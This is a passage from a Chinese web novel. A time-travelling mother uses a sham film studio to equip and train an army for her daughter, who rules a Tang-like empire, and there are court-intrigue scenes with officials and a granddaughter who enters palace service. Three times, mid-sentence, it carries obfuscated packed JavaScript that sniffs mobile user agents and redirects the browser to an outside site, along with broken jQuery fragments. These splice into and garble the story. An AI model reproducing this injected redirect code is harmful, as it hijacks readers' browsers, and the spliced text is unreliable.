刚从时空穿梭的轻微晕眩中恢复,郝美丽一口水都顾不上喝,就抓起了手机,打给了郑大钱。 郑大钱接电话的速度一如既往得快,但声音里带着浓浓的睡意:“郝美丽!你知道现在几点吗?凌晨四点!你又吵醒我!你又去见女儿了?” “大钱,”郝美丽开门见山,“我要借你的名义,成立一个公司。” 电话那头沉默了三秒。 “什么公司?”郑大钱的声音清醒了一点,但充满了警惕。 “一家由海外资本投资的影视制作公司。”郝美丽语速很快,“你是名义上的投资人,我当制片人,我们对外宣称要拍一部大型历史战争剧,但实际上我是为了给玉娘采购物资打掩护。” 郑大钱在那头长长地“啊”了一声,似乎理解了:“你是说,用拍戏的名义,大量定制盔甲兵器,然后拍摄结束后处理掉,实际上是……” “对。”郝美丽走到窗边,“现在直接采购这些太显眼了,而且很多敏感物资根本买不到。但如果是一家正经的影视公司,为了拍摄需求向道具厂下订单,就合情合理了。” “你需要我做什么?”郑大钱的声音彻底清醒了。 “第一,以你海外公司的名义注资,注册一个国内子公司,你是法人,我是实际运营人。第二,帮我物色一个靠谱嘴严的负责人,我需要有人在前台操持事务。第三,帮我留意一些特殊渠道的供应商。” 郑大钱想了想:“你要多大的规模?” “很大。”郝美丽说,“我们要定制五万套盔甲,数万件兵器……” 电话那头传来倒吸冷气的声音。 “五万套?!郝美丽,你知道五万套盔甲是什么概念吗?这可不是买一些武器那么简单,你女儿那边真的需要这么多?” “她需要一支真正的军队。”郝美丽的声音很沉,“一支完全属于她、从头训练、装备精良的军队。现在她手下的兵马,要么是收编的叛军降卒,要么是被陈希烈那些老臣渗透过的……” 郑大钱沉默了几秒:“我明白了。公司的事我来办,一周内搞定。执行制片人的人选我也有数了,我认识一个叫王硕的,以前在几个大剧组干过制片主任,能力不错,最重要的是嘴严,不该问的从来不问。” “好。”郝美丽松了口气,“谢了,大钱。” “少来这套。”郑大钱哼了一声,“等你女儿真当上女皇了,记得给我封个国师当当。” 挂了电话,郝美丽坐到电脑前,开始整理采购清单,盔甲、横刀、长枪、弓弩、箭矢、盾牌…… 七天后,“郝美影业”正式注册成立。 工商信息显示,这是一家由新加坡某投资公司全资控股的子公司,法定代表人郑大钱,注册资本五千万人民币。在行业里引起了一点小波澜,毕竟这个时间点,海外资本突然进场搞影视,多少有点引人注目。 开业第二天,郑大钱介绍的执行制片人王硕就来报到了。 王硕四十出头,微胖,戴一副黑框眼镜,看起来像个普通中年上班族,但一聊起影视制作,他就展现出了惊人的专业素养。 “郝总,郑总已经把大致情况跟我说了。”王硕推了推眼镜,“咱们这个项目,预算不设上限,规模很大,要求很高——对吧?” “对。”郝美丽点头,“你有什么问题吗?” “只有一个问题。” 王硕看着她,“我需要知道底线在哪里。比如,如果某些道具要求看起来像真的,用起来也像真的,这个像真的要像到什么程度?是演员挥舞起来不穿帮就行,还是真的能砍断东西?” 郝美丽笑了。 郑大钱果然找对了人。 “王制片,”她说,“我们的目标是做出来的东西,要让最挑剔的历史军事迷都挑不出毛病,钱不是问题,时间也不是问题,我们有至少一年的筹备期。” 王硕眼睛亮了:“如果是这样,那我有几个合作多年的供应商可以推荐。不过……” 他顿了顿,“郝总,我得提醒您,按这个标准做,成本会非常高。五万套盔甲,哪怕是最基础的道具甲,一套成本也要上千,如果是高仿真的……” “按每套五千的预算做。”郝美丽打断他。 王硕手里的笔掉在了桌上。 “五、五千?郝总,那是五万套!两个半亿!这还只是盔甲!” “我知道。”郝美丽面不改色,“所以我们需要分批采购,分散到多家供应商。王制片,这件事就交给你了,要避免引起不必要的注意。” 王硕深吸一口气,捡起笔:“我明白了。那剧本呢?导演呢?演员呢?这些总要有吧?不然光采购不拍摄,时间长了会有人起疑的。” “当然要有。”郝美丽早就想好了,“剧本我会找人写一个大纲。导演先接触几个,但不用急着定。演员方面,我们搞一个新人培养计划,对外宣称要培养一批真正会骑马、会武术、懂历史的新生代演员,进行封闭式训练。” “训练?”王硕愣了,“训练多久?训什么?” “半年吧。”郝美丽说,“体能、马术、冷兵器基础、古代礼仪、历史知识。我们会请最好的教练,把所有训练内容都要拍成素材,作为后续宣传用。” 王硕的表情从震惊变成了佩服:“郝总,您这是要打造一个影视行业军校啊!” “可以这么说。”郝美丽笑了,“但这个军校,可能最后不会真的拍戏。” 王硕推了推眼镜,没有追问。 聪明人知道什么时候该闭嘴。 接下来的一个月,王硕展现了惊人的执行力。 他以郝美影业的名义,联系了十七家道具服装供应商,将五万套盔甲的订单拆成了十七份,每份从几百套到几千套不等。 供应商们先是被订单量吓到,然后被预算惊喜到,最后被苛刻的要求难到,但在加钱的承诺下,全都拍着胸脯保证完成任务。 “郝总,河北赵老板那边问,盔甲内衬要不要加防刺层?”王硕拿着电话记录进来汇报,“他说如果是高仿真道具,加一层会更逼真,而且演员摔倒时能起到保护作用。” 郝美丽眼睛一亮:“加!所有盔甲都加!预算可以再提10%!” “山东李厂长问,横刀的刀身要不要做血槽?做的话属于管制刀具范畴,物流运输会比较麻烦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848392|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “做!物流问题让他们想办法,我们可以走特殊渠道运输,费用我们承担。” “浙江陈总那边说,弓弩的弩机部分如果用金属制,拉力会超过法定标准,建议用塑料替代……” “不行。”郝美丽斩钉截铁,“必须用金属,必须达到实战拉力,告诉他,这是特殊道具,让他不用操心合法性问题。” 王硕一一记下,走出办公室时忍不住摇头感慨:“这哪是拍戏啊,这简直是在武装一支军队……” 但他拿的薪水是行业顶级水平,郝美丽从不干涉他的具体操作,只把控方向和预算,这样的老板,他从业二十年没见过第二个,所以尽管心里有无数疑问,他还是选择把事情办好。 与此同时,“郝美影业新人培养计划”也正式启动了。 招聘广告发出去后,收到了几千份简历。 郝美丽亲自面试了前一百人,最终筛选出五十个年轻人——二十个男孩,三十个女孩,年龄都在18到25岁之间,背景干净,身体素质好。 训练基地租在了郊外一个废弃的拓展训练营,郝美丽请来了业界一位出名的大拿周振国当总教官,又通过郑大钱的关系,找来了马术教练、武术指导、历史学者,甚至还请了一位退役军医当保健顾问。 开班第一天,五十个年轻人穿着统一的作训服,站在操场上。 周振国背着手,在他们面前踱步:“我知道你们是来当演员的,但在我这里,这半年,你们不是演员,是兵!” “每天早上五点起床,五公里越野跑。上午四个小时体能和格斗训练,下午四个小时兵器和马术训练,晚上两个小时理论课:历史、兵法、礼仪。周日半天休息,可以给家里打电话,但不能离开基地。” “有人坚持不住,随时可以走。但留下来的人,”周振国顿了顿,“我会把你们训练成真正能上战场的人。” 底下有男孩小声说:“周教官,我们只是拍戏……” “拍戏?”周振国笑了,“如果连演都演不像,你们凭什么让观众相信你是唐朝的兵?从今天起,忘掉你们是来拍戏的,你们就是士兵!” 训练开始了。 郝美丽全程在场边看着,没有干涉,她总不能说救完女儿大家就散伙,这个戏不拍了不用这么认真吧。对她来说,越逼真越好,至于这个戏到最后会变成什么样,那是以后的事情了。 傍晚,郝美丽在看剧本,王硕敲门进来。 “郝总,有个事得跟您汇报。”王硕的表情有点复杂,“今天下午,有个自称是电影局的人打电话来,问咱们这个项目是怎么回事。说接到反映,有家新公司大规模采购军用制式装备,怀疑我们……” “你怎么说的?”郝美丽抬头。 “我按咱们之前对好的口径说的。”王硕说,“我说我们是在筹备一部大型历史正剧,所有采购都是道具,有详细的报备和许可,我还把剧本大纲、导演接触名单、演员训练计划都发过去了。” “对方怎么说?” “他说……”王硕犹豫了一下,“他说希望我们注意影响,不要搞得动静太大。另外,他建议我们如果真的想做这么大制作,最好先拍个样片或者宣传片,堵住一些人的嘴。” 郝美丽沉思了片刻。 “那就拍。” “拍?”王硕愣了,“拍什么?咱们剧本都还没写完呢!” “拍一个三分钟的短片。”郝美丽说,“就叫《凤起长安·先导片》。用我们训练的这些新人,再找几千个群演,穿我们定制的盔甲,拿我们打造的兵器,在马场拍几组冲锋列阵的镜头,不用剧情,就要气势,能唬住人就行。” 王硕眼睛亮了:“这个主意好!既能展示我们的制作水准,又能堵住外界的质疑。” “你去安排吧。”郝美丽说,“预算单列,要拍就拍最好的。” “没问题!” 王硕兴冲冲地走了。 郝美丽靠在椅背上,看着窗外操场上还在加练的年轻人,夕阳把他们的影子拉得很长,汗水在余晖中闪闪发光。 不到一个月时间,她已经是郝美影视的CEO了,手底下百号人,还租了个几万平的训练基地,签了几份上千万的合同了。 她拿出手机,打开相册,看着玉娘的照片。 “玉娘,等我。” 15.第 15 章 县尉薛荣接到传召,去皇宫面圣时,他整个人都是懵的,陛下?是了,如今宫里那位,早已不是李玄,而是那位仙女娘娘。 去皇宫的路上,薛荣脑子里乱糟糟的,他一个八品小尉,值得仙女娘娘亲自召见? 马蹄嘚嘚,踏在朱雀大街平整的石板上,让人心慌,他忍不住想起那些市井传闻,仙女娘娘抬手间轰杀轧荦山,隔空毙掉太子…… 宫门越来越近,黑压压的。 进了宫门,穿过一道道戒备森严的门禁,薛荣几乎喘不过气,引路的宦官脚步轻得像猫,七拐八绕,竟将他带到了一处偏殿的回廊下。 廊下坐着一个人,正在慢条斯理地喝茶。 薛荣抬眼一瞥,心里猛地一坠,那人穿着紫色的常服,须发灰白,面容清癯,引路的宦官悄无声息地退到了一边。 薛荣僵在原地,进也不是,退也不是,头皮一阵发麻,那人仿佛才注意到他,放下茶盏,目光平淡地扫过来。 “扑通!” 薛荣立刻额头触地:“卑职薛荣,拜见相爷!” 静了片刻,只有茶水注入杯盏的细微声响,薛荣的心里七上八下的,随着茶盏的茶叶起起伏伏。 然后,薛荣听到陈希烈的声音,他叹息一声,说:“什么相爷不相爷的,不过是一把老骨头,勉强为娘娘分忧罢了。” 薛荣伏在地上不敢动,更不敢接这话,他喉咙发干,搜肠刮肚才挤出几句:“相爷为国操劳,德高望重,京城上下谁人不敬?卑职……卑职今日得见相爷,三生有幸。” “呵。”陈希烈似乎笑了一声,听不出情绪。 他又饮了一口茶,看着地上跪着的这个汉子,才缓缓道:“薛荣,老夫知道你,叛军入京,百官逃散,你能聚拢残兵,袭杀燕寇,是条有血性的汉子,京城陷落时,像你这样还敢亮刀子的人,不多了。” 薛荣心中惊疑更甚,陈相爷竟然知道他这点微末之事? “相爷谬赞,卑职只是尽了本分,当不得相爷如此夸奖。都是娘娘天威震慑,将士用命……”他小心翼翼地把娘娘抬了出来。 陈希烈放下茶杯,瓷底与木案轻轻一碰。 “有功就是有功,该赏。”他停顿了几息,又道,“去吧,该赏你的,已经送到你家里了。” 薛荣脑子里“嗡”的一声。送到家里?赏赐?他半点风声都没听到!可陈希烈的话已说完,他将茶盏放下了。 “卑职,谢相爷!”薛荣又重重磕了个头,才手足无措地爬起来,弯着腰,倒退着离开了回廊。 直到走出很远,被另一个小宦官接引着继续往宫里走,他后背的冷汗才涔涔地冒出来,里衣湿了一片。 接下来的路,薛荣完全失去了方向感,宫阙重重,廊腰缦回,引路的人换了好几拨,个个沉默寡言,他只觉得自己像一片叶子,被深宫的暗流裹挟着,漂向未知的地方。 终于,在一座巍峨的殿宇前,引路的小宦官停住了,殿门前站着一个人,穿着高品阶的宦官服色,身形瘦削,面容白净,眼神平静。 薛荣再愚钝,也该明白他是谁了。 张韬——如今宫内的大宦官,娘娘身边最得用的人之一。 薛荣腿一软,又要往下跪。 “免了,薛县尉。” “张公公……” 薛荣僵着身子,没完全跪下去,也没敢站直,姿态别扭极了。 张韬的目光在他脸上停留了片刻,像是打量,又像只是看看,看了一会,他说:“这是你头一遭进宫里来吧,薛县尉。” “是,是。”薛荣连忙应道。 “京城太大了,”张韬像是感慨,“像你这般的八品官,没有一千,也有八百,能踏进这里,站在这殿前的,你是运道好的。” 薛荣点头如捣蒜:“是是是,全赖陛下天恩,娘娘恩德!” “恩德?”张韬嘴角似乎扯动了一下,快得让薛荣怀疑是不是自己眼花了,又似乎没有。 薛荣顿时噤声,连呼吸都放轻了,头埋得更低,再不敢言语。 张韬不再看他,垂着手,望着殿门的方向,过了一会儿,才说:“时辰差不多了,娘娘该小憩醒了,准备着吧,薛大人。” “薛大人”三个字,让薛荣浑身一激灵。 他僵硬地站在殿门阴影里,看着张韬转身,他的深青色的衣摆消失在殿内更深处,宫人们偶尔低眉顺眼地走过,脚步轻得听不见。 薛荣的心跳得像擂鼓,脑子里一片空白,陈希烈的话、张韬的眼神、这森严的宫殿……所有东西搅成一团,让他心里阵阵发紧。 这是怎么了?他不明白。 等了仿佛一辈子,又或许只是片刻,一名宫娥悄无声息地来到他面前,屈膝一礼:“薛大人,请随奴婢来。” 薛荣浑浑噩噩地跟着进去,大殿内,巨大的柱子支撑着高高的穹顶,空气里弥漫着一种清冷的香气,他不敢抬头,只盯着前方。 “陛下,薛荣带到。”宫娥柔声禀报,然后退到一旁。 薛荣“扑通”跪倒:“微臣薛荣,叩见陛下!” 殿内静了一下,然后,一个声音从上方传来,清泠泠的:“你就是薛荣?” “是!微臣正是薛荣!”薛荣赶紧应道。 “起来说话吧。” “谢陛下!”薛荣挣扎着站起来,腿有些软。 他小心翼翼地抬了一点点视线,只见前方高阶之上,设着一张宽大的坐榻,一个身着常服的女子端坐其中,光线从高窗落入,勾勒出她的轮廓。薛荣不敢细看容貌,这就是玉娘?杀了李玄和太子,被仙母扶持,入主京城的仙女…… “我听说你在叛军入京后,刺杀叛军军官,杀了多少人?怎么杀的?”那个声音又传来。 薛荣稳了稳心神,这问题他倒不慌,他略一思索,躬身答道:“回陛下,叛军入京后月余,气焰嚣张,常分小队劫掠。微臣当时聚拢了些敢拼命的手下,专挑叛军落单的时候下手……” “多是夜间在僻静巷弄,用弓弩短刃袭杀,前前后后,约摸杀了燕军小头目两人,普通军卒七八人,我们人少,不敢缠斗,杀了便走……” 他尽量说得平实,不敢夸大。 殿里只有他的声音,等他说完,又安静了。 座上静默了片刻,似乎是在斟酌。 随即,玉娘开始赞他:“敌众我寡,京城沦陷,你能不逃不降,反而组织人手反击,且懂得避实击虚,保全自身。有勇,有谋,也有胆识,不错。” 薛荣心头一热,又有些酸楚,那些提着脑袋干的日子,没想到竟能得仙女亲口一赞,“陛下谬赞,微臣只是不甘心,尽一点本分。” 玉娘似乎微微颔首,又问了些他家中情况,原来所属兵马编制等琐事,薛荣一一谨慎答了。 殿内的熏香袅袅飘散,时间慢慢流逝,薛荣最初的惶恐稍减,但另一种不安却渐渐升起,仙女召他,难道就是为了问这几句话? 终于,玉娘话锋一转:“如今叛军虽退,四海未平,河北范阳等地,逆贼余孽仍在,朝廷正是用人之际。” 薛荣心头一跳,屏住呼吸。 “薛荣,”玉娘唤他的名字,“你可愿为朝廷分忧,领军杀敌?” 轰隆一声,薛荣只觉得脑子里有什么东西炸开了。领军?他一个县尉,最大的梦想不过是升个六七品武官,何曾敢想过领军二字?他猛然抬起头,难以置信地看向御座。 可就在他抬头的刹那,眼角的余光瞥见了玉娘身后不远处,那个静静侍立的身影——张韬,张韬垂着眼,面无表情。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856468|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这一瞥,像一盆冷水,将薛荣心头狂喜浇熄了大半。 他想起了宫门外陈希烈的话,想起了这重重宫阙的森严,想起了自己是如何幸运地站到了这里。 不过一息,他重新低下头,谦辞:“陛下垂询,微臣惶恐!微臣从未统领过大军,只带过几十百来个弟兄,怕有负陛下重托,误了朝廷大事……” 御座上安静了片刻。 薛荣能感觉到那道目光在他身上停留。 “无妨。”玉娘的声音再次响起,“谁也不是生来就会。我先授你忠武将军衔,领四品职,拨给你五千兵额,你去整训,边做边学,如何?” 忠武将军!四品!五千兵! 薛荣身体晃了晃,几乎站立不稳,这赏赐,这擢升,一步登天!可这登天的梯子,为何偏偏落在他薛荣头上? 他张了张嘴,喉咙干涩,一时竟发不出声音,太多的疑问,太多的恐惧,太多的诱惑,拧成了一股粗粝的绳子,勒得他喘不过气,他最终只是深深弯下腰去,伏跪于地。 玉娘看着他,对身旁吩咐道:“张韬。” “奴婢在。”张韬上前半步。 “拟旨,授原京城县尉薛荣忠武将军,正四品上,令其于京畿道募兵整训,额五千,一应事宜,由吏部兵部协同办理。” “是,奴婢遵旨。”张韬躬身领命。 “薛荣,旨意稍后会下达,你去吏部领职吧。” “微臣谢陛下隆恩!陛下万岁,万岁,万万岁!”薛荣终于找回了自己的声音,重重叩首。 退出大殿的过程,薛荣依旧浑浑噩噩,直到走出最后一道宫门,傍晚略带寒意的风扑面而来,他才猛地打了个寒颤,回过神来。 身上那件穿了多年的青色官袍已经不见了,取而代之的是一套簇新的绯色公服,夕阳的余晖照在这鲜艳的红色上,有些刺眼, 薛荣抬起手,粗糙的的手指小心翼翼地摸了摸光滑的锦缎面料,触感陌生极了,他的手,控制不住地微微颤抖,他就这样成四品将军了? “头儿!头儿!”几个熟悉的声音传来。 他那几个一直在宫外惴惴不安等待的老兄弟围了上来,看到他这一身绯袍,全都瞪大了眼睛,张着嘴,说不出话。 “头儿,你这……” 一个兄弟指着他的衣服,结结巴巴的。 薛荣想扯出个笑,却觉得脸颊僵硬。 “回去说,先回去。” 正要带着兄弟们离开,一队人马却径直朝着他们走了过来,为首的是几个衣着体面的仆从,其中一匹格外神骏的黑马,鞍鞯鲜明,被牵到了薛荣面前。 “大人,请上马。”为首的仆从对着薛荣行礼。 薛荣警惕地看着他们:“你们是谁?” 那仆从笑容不变:“大人您说笑了,小的们自然是您的仆从,来接您回府的。” “我的仆从?回府?”薛荣更疑惑了。 他一个八品小官,一家老小挤在两间小屋子里,哪来的仆从?哪来的府苑? “是,大人,您高升了,自然该换新居,您的家眷,老夫人夫人,还有公子小姐,一个时辰前已经接到新府安置妥当了,就等您回去了。” 薛荣心头剧震,背上的寒意再次窜起,比刚才在宫里更甚,他猛地看向那个仆从:“谁让你们接的人?谁安排的宅子?” 仆从依旧是那副无可挑剔的笑脸,笑着说:“大人,您真是贵人多忘事。陈相爷不是说了么,该给你的,已经送到你家里了。您看,这宅子,这些使唤人,不都给您备齐了么?请您放心,一切都是按相爷的吩咐,妥妥当当……” 陈相爷…… 薛荣站在原地,傍晚的风卷起尘土,绯红的官袍被风吹得贴在他身上,他彻底愣住了。 16.第 16 章 达奚珣下了朝,回府时已是黄昏。 他先在内堂用了些简单的午膳,一碟清蒸鲈鱼,一碟炒时蔬,一碗粳米饭,食不知味地吃了些,便挥退了仆从。 书房的门推开时,阳光斜斜照进来,在青砖地面上投下长长的窗格影,达奚珣走到紫檀木书案后,坐下,沉思。 待到窗外天色完全暗下来,他才从怀中取出一张折叠整齐的纸笺,小心翼翼地展开。 达奚珣将告示在灯下展平,目光从开头第一个字,缓缓移到最后一个字,然后又从最后一个字,缓缓移回开头,他看得很慢,很仔细,看了一遍又一遍,不知看了多少遍,良久,他抬起头,唤了一声:“来人。” 守在门外的管家应声而入:“老爷。” “去把小姐们都叫来。”达奚珣平静地说,“府中所有未出阁的姑娘,还有西院那两位刚定了亲的,也一并请来。” 管家一愣,下意识地重复确认:“所有未出阁的小姐……?” “是。”达奚珣点点头,“都叫来。” “是,老爷。”管家虽满心疑惑,却不敢多问,躬身退了出去。 约莫一刻钟后,书房外传来细碎的脚步声和衣裙窸窣声,门被轻轻推开,五个年龄不一的女孩鱼贯而入。 她们最大的不过十七八,最小的才十三四岁,有的眉眼间带着好奇,有的略显紧张,还有两个神色间有些不安。 “父亲。” “祖父。” 女孩们敛衽行礼。 达奚珣抬抬手:“都坐吧。” 书房内除了他的书案椅,只有几张待客的凳子和一张靠墙的短榻,女孩们各自寻了位置坐下,屏息静气,目光都落在达奚珣身上。 达奚珣拿起那张告示:“你们传着看看。” 女孩们依言传递,轮流阅看,烛火下,纸张沙沙作响,伴随着女孩们的呼吸声。 等最后一个人看完,告示又传回达奚珣手中时,所有女孩都抬起头,眼中带着相似的惊疑。 书房里一时安静。 达奚珣将告示放回案上,双手交叠置于身前,沉思几息后,缓缓开口:“当年,我做了河南尹,咱们家算是在河南扎下了根,也成了大族人家。后来叛军起事,我被调来京城,再后来……” “京城陷落,我又被逆贼胁迫,做了伪朝的右相,现在,仙女进城,我又成了新主的右相。这些事,你们都是知道的。” 女孩们面面相觑,不知祖父为何突然提起这些旧事,但都点了点头。 达奚珣看向她们,问:“那么,依着你们看,三易其主却不舍得殉国,我是奸佞小人吗?” 话音落下,书房里的空气立刻凝固了,这话说的太直,女孩们无人敢开口。 达奚珣并未催促,也未显出不悦,只是静静等待着,最终,仍无人敢回答。 达奚珣笑了笑,重新拿起那张告示,指尖轻轻点了点纸面:“你们瞧过了,这上面写的,宫里那位仙女娘娘,要招一批女官,入宫办差。你们怎么看?” 女孩们再次沉默。 这个话题,比刚才那个更敏感,更不知如何应对。 过了好一会儿,坐在短榻边的四娘,咬了咬嘴唇,像是下定了决心,轻声开口道:“父亲,女儿觉得仙女娘娘此举,似乎是要效仿当年武皇故事。” 达奚珣道:“嗯,你看得明白。” 得到父亲的肯定,四娘胆子稍大了些,继续说:“女儿读书时也曾看过史书,武皇开创一代女主临朝的先例,擢拔了不少女官,可武皇退位后,其党羽亲信,多被清算诛灭,牵连甚广。女儿已定了亲事,只愿平安度日,实在不愿掺和进这等凶险莫测的事里……” 她说得很慢,也很坦诚,说完后,便低下头,不敢再看父亲,她怕父亲生气。 达奚珣听完,又点了点头,语气很平静:“你有自己的决断,这很好。” 他的目光转向其他几人:“你们呢?怎么想?” 女孩们互相看了看,还是无人开口,西院六娘年纪最小,胆子也小,只跟着四姐点了点头,她也是同样的想法。就在寂静中,一个声音响了起来:“祖父,孙女想去试试。” 说话的是达奚珣的孙女——十一娘,她坐在最靠门边的圆凳上,身量还未完全长开,穿着一身浅碧色的衫裙,眼睛亮亮的。 所有人的目光都聚到了她身上。 达奚珣也看了她一眼。 “祖父,我们姐妹们和哥哥弟弟们,请的是一样的先生,教的一样是经史子集。但在您心里,从来只把哥哥弟弟们当做支撑门楣的顶梁柱,等到了将来,只有他们才能入仕做官,光宗耀祖。”十一娘的声音渐渐大了起来。 “孙女儿不服!哥哥们读得书,我也读得;他们懂得的道理,我也懂得。那为何哥哥们能做官,我却不能?” “若从前没有机会也就罢了,既然现在有了,孙女儿想去试试这个女官!” 书房里更静了。 连烛火似乎都停止了跳动。 这话说的大胆极了,称得上忤逆,这个家里从来没有人敢这样对达奚珣说话。 达奚珣第一次真正将目光完全落在小孙女脸上,他看着她明亮的眼睛,看着她微微抿起的嘴唇,看着她放在膝上不自觉攥紧了裙摆的手。 “你可知道,这其中有多少险恶?” 十一娘迎着他的目光,没有退缩:“孙女知道,孙女也读过史书,知道朝堂争斗的残酷,可是祖父……” “从前看大胤盛世,何等繁华,似乎将要流传万世,可一朝叛军入城,公侯也好,百姓也罢,死伤数十万,血流成河!” “孙女儿那时就在想,这世上,从来没有什么是绝对安全的,达奚家累世官宦,可叛军来时,不一样要低头受伪职才能保全?” 她深吸一口气继续说:“既然没有绝对的安全,那孙女儿愿意一试。若是成了,或许能为女子挣一条不一样的路;若是败了,功败身死那也是孙女儿的命!” 说完这番话,十一娘觉得自己的心跳得厉害,掌心都沁出了汗,但她依然直直地看着祖父,等待着他的回应。 达奚珣沉默了很久。 久到十一娘几乎以为祖父不会再说话,久到其他几个姐妹都开始不安地挪动身子,终于,达奚珣开口,“你说得对,这世上本就没有绝对安全的事。” 他挥了挥手,对其他人道:“你们都下去吧,十一娘留下。” 姐妹们担忧地看了十一娘一眼,欲言又止,最终还是退了出去,走在最后的四娘,在关门时,忍不住回头看了一眼十一娘,眼中闪过一丝复杂的情绪。 门轻轻合上。 书房里只剩下了祖孙二人。 达奚珣从书案后站起身,走到窗前,背对着十一娘,望着窗外沉沉的夜色。过了好一会儿,他才重新开口:“十一娘,你今年十五岁,也算成年了。” 十一娘心中一跳,应道:“是。” “你若真要去,祖父不会拦你,但是——” “我只能将你逐出家门。从今往后,你的一切都与达奚家无关,你不再是我达奚珣的孙女,你在宫中是生是死,是荣是辱,都是你自己的事,你是否愿意?” 十一娘愣住了。 她想过祖父会反对,想过会有一番训斥,甚至想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864802|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过会被禁足,但她万万没想到,祖父会提出这样的条件——逐出家门,断绝关系。 十一娘张了张嘴,想说什么,却发不出声音。 书房里又静了下来。 十一娘想起那些和兄弟们一起读书却只能看着他们讨论科举文章的午后;想起叛军破城时,母亲死死捂住她的嘴在地窖里度过的漫长黑夜;想起今日看到那张告示时,心头燃起的火…… 良久,她听到自己的声音说着:“孙女愿意。” 达奚珣看着她,看了很久。然后,他走回书案,拿起那张告示,递到十一娘面前。 “拿去吧。”他说,“以后的路,就看你自己了。” 十一娘伸出双手,郑重地接过那张薄薄的纸,纸张边缘有些毛糙,墨迹已干,可握在手里,却仿佛有千斤重。 “孙女,谢祖父。”她屈膝,深深一礼。 “去吧。”达奚珣重新坐回书案后,不再看她。 门外,夜色正浓。 廊下的灯笼在风中轻轻摇晃,在地上投下晃动的光影,她一步步走回自己的房间,脚步有些虚浮,手中的告示被她攥得紧紧的,纸张边缘甚至有些卷曲。 回到房间,关上房门,背靠在冰凉的门板上,她才颤抖着呼出一口气,心跳依然很快,手心里全是汗。 她赶紧坐下,就着铜镜旁烛台的光,再次展开那张告示,一个字一个字地读,读了十几次,读到熟悉了这章告示上的每一个字每一句话,她才有一丝真实的感觉。 她抬头,对着铜镜,看见了自己的脸,竟然是这种神色?她愣住了。 第二天,天色微明。 十一娘换上了一身不起眼的襦裙,头发梳得整整齐齐,便拿着那张告示,走出了居住的小院。 府门早已打开,一辆青篷马车静静地停在门外,车夫是个沉默寡言的老仆,十一娘回头,最后望了一眼这座宅邸,朱门高墙,飞檐斗拱,在晨雾中显得有些朦胧。 昨日,她还是高门贵族丞相之后。 今日,她只能是普通百姓十一娘。 她深吸一口气,提起裙摆,踏上了马车的踏脚,离开了这个家。在十一娘走后,四娘打开了窗户,她知道,十一娘离开了。 不知怎得,四娘拿出了婚书,一字一句的看上面的字样,天作之合,文定厥祥、椿萱并茂、兰桂齐芳……她将婚书轻轻贴在心口,闭上眼。 她一定会幸福的。 马车穿过渐渐苏醒的街巷,穿过熙攘的市井。 十一娘一直紧紧握着那张告示,目光透过微微晃动的车帘缝隙,望向外面不断后退的景致,她心里闪过太多太多念头,她不知道对错,但她已经走上这条路了。 走了很久,马车停下,车夫低声道:“小姐,到了,前面就是皇城了,奴婢的车进不去了……” “好”,十一娘掀开车帘。 眼前,是巍峨的宫墙,是沉默肃立的禁军,是洞开的重重宫门,是深不见底的宫廷,是不可预知的未来。 她的心紧紧跳动了几下,深呼吸一口气,跳下了车,整理了一下衣裙,握紧手中的告示,抬起头,迎着初升的朝阳,一步一步,像一粒尘埃一样,走进了天下权力中心的皇城之中。 * 达奚珣府中。 官家回禀:“老爷,十一娘已入宫。” 达奚珣拿着公文的手一顿,沉默了几息后,说:“从今日起,达奚家再没有十一娘了,只有我等的政敌——达奚瑜。” 他把公文放下,开始思索,该怎么处置这些女官呢?张韬掌着内侍省,宫里那些阴私手段,他恐怕更心急,若让他先动了手…… 17.第 17 章 现代。 郝美丽从没想过,自己的生活能变得如此魔幻。 三个月前,她还只是个失业在家的普通社畜,现在已经从那个温馨的小公寓搬了出来,在公司附近租了个大平层,成了“郝美影视”的CEO。 她现在每天要对接十几家供应商,要过目几十份设计图纸,要协调各种资源调配,还要应付各种莫名其妙找上门来的人。 是的,莫名其妙。 几乎每天,她都能在公司的电梯里、楼下的咖啡厅、甚至小区门口,偶遇各种形形色色的人。 有长相俊美穿着时尚的年轻男女,递上精心制作的简历和写真集,说“郝总,我很能吃苦,什么角色都可以演”;有自称是十八线小明星的,带着已经播出的网剧片段来找她,说“郝总,我演技还行,就是缺个机会”…… 甚至于—— 一次,一位很脸熟的男演员在她对面落座,寒暄片刻后,他微微倾身,声音里带着一丝若有若无的笑意:“郝总,这里的咖啡凉了,我听说您府上的夜景很不错。” 郝美丽握着杯子的手指顿了一下,抬起眼,没接话,空气静了一瞬,只余背景里若有若无的钢琴声。 男演员脸上的笑容未变,风度极佳地站起身,仿佛只是结束一场普通的闲聊:“看来是我打扰郝总清静了,抱歉。” 说罢便从容离去。 郝美丽长舒一口气,但这口气没放下。 